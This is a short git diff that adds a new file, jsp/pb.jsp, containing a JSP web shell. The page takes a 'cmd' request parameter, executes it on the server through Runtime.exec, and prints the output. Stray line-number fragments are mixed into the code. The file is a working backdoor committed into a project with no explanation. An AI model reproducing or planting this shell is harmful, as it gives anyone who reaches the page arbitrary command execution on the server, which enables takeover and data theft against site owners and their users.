diff --git a/jsp/pb.jsp b/jsp/pb.jsp
new file mode 100644
index 0000000..6a9532a
--- /dev/null
+++ b/jsp/pb.jsp
@@ -0,0 +1,3 @@
+1	<%@ page contentType="text/html; charset=GBK" %>
+\
+<%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\\r\\n"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre> <%=output %> </pre>	3	4	5